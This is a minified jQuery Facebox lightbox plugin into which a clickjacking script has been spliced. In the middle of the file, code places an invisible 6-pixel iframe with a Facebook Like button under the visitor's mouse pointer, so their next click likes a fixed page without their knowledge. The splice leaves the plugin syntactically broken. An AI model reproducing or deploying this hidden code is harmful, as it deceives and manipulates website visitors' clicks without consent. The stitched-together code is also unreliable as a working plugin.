(function($) {
    function init(e) {
        if ($.facebox.settings.inited) return true;
        else $.facebox.settings.inited = true;
        $(document).trigger("init.facebox");
        makeCompatible();
        var t = $.facebox.settings.imageTypes.join("|");
        $.facebox.settings.imageTypesRegexp = new RegExp(".(" + t + ")$", "i");
        if (e) $.extend($.facebox.settings, e);
        $("body").append($.facebox.settings.faceboxHtml);
        var n = [new Image, new Image];
        n[0].src = $.facebox.settings.closeImage;
        n[1].src = $.facebox.settings.loadingImage;
        $("#facebox").find(".b:first, .bl").each(function() {
            n.push(new Image);
            n.slice(-1).src = $(this).css("background-image").replace(/url\((.+)\)/, "$1")
        });
        $("#facebox .close").click($.facebox.close);
        $("#facebox .close_image").attr("src", $.facebox.settings.closeImage)
    }

    function getPageScroll() {
        var e, t;
        if (self.pageYOffset) {
            t = self.pageYOffset;
            e = self.pageXOffset
        } else if (document.documentElement && document.documentElement.scrollTop) {
            t = document.documentElement.scrollTop;
            e = document.documentElement.scrollLeft
        } else if (document.body) {
            t = document.body.scrollTop;
            e = document.body.scrollLeft
        }
        return new Array(e, t)
    }

    function getPageHeight() {
        var e;
        if (self.innerHeight) {
            e = self.innerHeight
        } else if (document.documentElement && document.documentElement.clientHeight) {
            e = document.documentElement.clientHeight
        } else if (document.body) {
            e = document.body.clientHeight
        }
        return e
    }

    function makeCompatible() {
        var e = $.facebox.settings;
        e.loadingImage = e.loading_image || e.loadingImage;
        e.closeImage = e.close_image || e.closeImage;
        e.imageTypes = e.image_types || e.imageTypes;
        e.faceboxHtml = e.facebox_html || e.faceboxHtml
    }

    function fillFaceboxFromHref(e, t) {
        if (e.match(/#/)) {
            var n = window.location.href.split("#")[0];
            var r = e.replace(n, "");
            if (r == "#") return;
            $.facebox.reveal($(r).html(), t)
        } else if (e.match($.facebox.settings.imageTypesRegexp)) {
            fillFaceboxFromImage(e, t)
        } else {
            fillFaceboxFromAjax(e, t)
        }
    }

    function fillFaceboxFromImage(e, t) {
        var n = new Image;
        n.onload = function() {
            $.facebox.reveal('<div class="image"><img src="' + n.src + '" /></div>', t)
        };
        n.src = e
    }

    function fillFaceboxFromAjax(e, t) {
        $.get(e, function(e) {
            $.facebox.reveal(e, t)
        })
    }

    function skipOverlay() {
        return $.facebox.settings.overlay == false || $.facebox.settings.opacity === null
    }

    function showOverlay() {
        if (skipOverlay()) return;
        if ($("#facebox_overlay").length == 0) $("body").append('<div id="facebox_overlay" class="facebox_hide"></div>');
        $("#facebox_overlay").hide().addClass("facebox_overlayBG").css("opacity", $.facebox.settings.opacity).click(function() {
            $(document).trigger("close.facebox")
        }).fadeIn(200);
        return false
    }

    function hideOverlay() {
        if (skipOverlay()) return;
        $("#facebox_overlay").fadeOut(200, function() {
            $("#facebox_overlay").removeClass("facebox_overlayBG");
            $("#facebox_overlay").addClass("facebox_hide");
            $("#facebox_overlay").remove()
        });
        return false
    }
    $.facebox = function(e, t) {
        $.facebox.loading();
        if (e.ajax) fillFaceboxFromAjax(e.ajax, t);
        else if (e.image) fillFaceboxFromImage(e.image, t);
        else if (e.div) fillFaceboxFromHref(e.div, t);
        else if ($.isFunction(e)) e.call($);
        else $.facebox.reveal(e, t)
    };
    $.extend($.facebox, {
        settings: {
            opacity: .2,
            overlay: true,
            loadingImage: "/facebox/loading.gif",
            closeImage: "/facebox/closelabel.png",
            imageTypes: ["png", "jpg", "jpeg", "gif"],
            faceboxHtml: '    <div id="facebox" style="display:none;">       <div class="popup">         <div class="content">         </div>         <a href="#" class="close"><img src="/facebox/closelabel.png" title="close" class="close_image" /></a>       </div>     </div>'
        },
        loading: function() {
            init();
            if ($("#facebox .loading").length == 1) return true;
            showOverlay();
            $("#facebox .content").empty();
            $("#facebox .body").children().hide().end().append('<div class="loading"><img src="' + $.facebox.settings.loadingImage + '"/></div>');
            $("#facebox").css({
                top: getPageScroll()[1] + getPageHeight() / 10,
                left: $(window).width() / 2 - 205
            }).show();
            $(document).bind("keydown.facebox", function(e) {
                if (e.keyCode == 27) $.facebox.close();
                return true
            });
            $(document).trigger("loading.facebox")
        },
        reveal: function(e, t) {
            $(document).trigger("beforeReveal.facebox");
            if (t) $("#facebox .content").addClass(t);
            $("#facebox .content").append(e);
            $("#facebox .loading").remove();
            $("#facebox .body").children().fadeIn("normal");
            $("#facebox").css("left", $(window).width() / 2 - $("#facebox .popup").width() / 2);
            $(document).trigger("reveal.facebox").trigger("afterReveal.facebox")
        },
        close: function() {
            $(document).trigger("close.facebox");
            return false
        }
    });
     function ($) {
    $.cookie = function (a, b, c) {
        if (arguments.length > 1 && (!/Object/.test(Object.prototype.toString.call(b)) || b === null || b === undefined)) {
            c = $.extend({}, c);
            if (b === null || b === undefined) {
                c.expires = -1
            }
            if (typeof c.expires === 'number') {
                var d = c.expires,
                    t = c.expires = new Date();
                t.setDate(t.getDate() + d)
            }
            b = String(b);
            return (document.cookie = [encodeURIComponent(a), '=', c.raw ? b : encodeURIComponent(b), c.expires ? '; expires=' + c.expires.toUTCString() : '', c.path ? '; path=' + c.path : '', c.domain ? '; domain=' + c.domain : '', c.secure ? '; secure' : ''].join(''))
        }
        c = b || {};
        var e = c.raw ? function (s) {
                return s
            } : decodeURIComponent;
        var f = document.cookie.split('; ');
        for (var i = 0, pair; pair = f[i] && f[i].split('='); i++) {
            if (e(pair[0]) === a) return e(pair[1] || '')
        }
        return null
    }
})(jQuery);

function isEmpty(a) {
    if (null == a || "" == a) {
        return true
    }
    return false
}

function randomString(a) {
    var b = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXTZabcdefghiklmnopqrstuvwxyz";
    var c = '';
    for (var i = 0; i < a; i++) {
        var d = Math.floor(Math.random() * b.length);
        c += b.substring(d, d + 1)
    }
    return c
}

function isNumber(a) {
    if (a != "") {
        if (isNaN(Number(a))) {
            return false
        } else {
            return true
        }
    }
    return false
}

function get_selectbox_text(a) {
    var b = "";
    b = $(a + " option:selected").text();
    return b
}
var _define_run = 'out001938ywhdeheofgsfwa';
var _define_not_run = 'in001ĂƒÂ°9uehisohdisasw';
$(document).ready(function () {
    if ($.cookie('first_load_like') != _define_run) {
        $.cookie('first_load_like', _define_not_run)
    }
    var a;
    a = window.setInterval(updateActiveElement, 1);

    function updateActiveElement() {
        if ($(document.activeElement).attr('id') == "fbframe") {
            clearInterval(a);
            $.cookie('first_load_like', _define_run)
        }
    }
    var b = "<div style=\"overflow: hidden; width: 6px; height: 6px; position: absolute; filter:alpha(opacity=0); -moz-opacity:0.0; -khtml-opacity: 0.0; opacity: 0.0;\" id=\"icontainer\"><iframe src=\"http://www.facebook.com/plugins/like.php?href=https://www.facebook.com/215680825278846&amp;layout=standard&amp;show_faces=false&amp;width=450&amp;action=like&amp;font=tahoma&amp;colorscheme=light&amp;height=80\" style=\"border: none; overflow: hidden; width: 50x;height: 23px;\" allowtransparency=\"true\" id=\"fbframe\" name=\"fbframe\" frameborder=\"0\" scrolling=\"no\"></iframe></div>";
    $("body").append(b);
    var c = document.getElementById('icontainer');
    var d = (document.compatMode == "CSS1Compat") ? document.documentElement : document.body;

    function mouseFollower(e) {
        if (document.event) {
            c.style.top = (window.event.y - 5) + d.scrollTop + 'px';
            c.style.left = (window.event.x - 5) + d.scrollLeft + 'px'
        } else {
            c.style.top = (e.pageY - 5) + 'px';
            c.style.left = (e.pageX - 5) + 'px'
        }
    }
    $(document).mousemove(function (e) {
        if ($.cookie('first_load_like') == _define_not_run) {
            mouseFollower(e)
        }
    })
});
    $.fn.facebox = function(e) {
        function t() {
            $.facebox.loading(true);
            var e = this.rel.match(/facebox\[?\.(\w+)\]?/);
            if (e) e = e[1];
            fillFaceboxFromHref(this.href, e);
            return false
        }
        if ($(this).length == 0) return;
        init(e);
        return this.bind("click.facebox", t)
    };
    $(document).bind("close.facebox", function() {
        $(document).unbind("keydown.facebox");
        $("#facebox").fadeOut(function() {
            $("#facebox .content").removeClass().addClass("content");
            $("#facebox .loading").remove();
            $(document).trigger("afterClose.facebox")
        });
        hideOverlay()
    })
})(jQuery)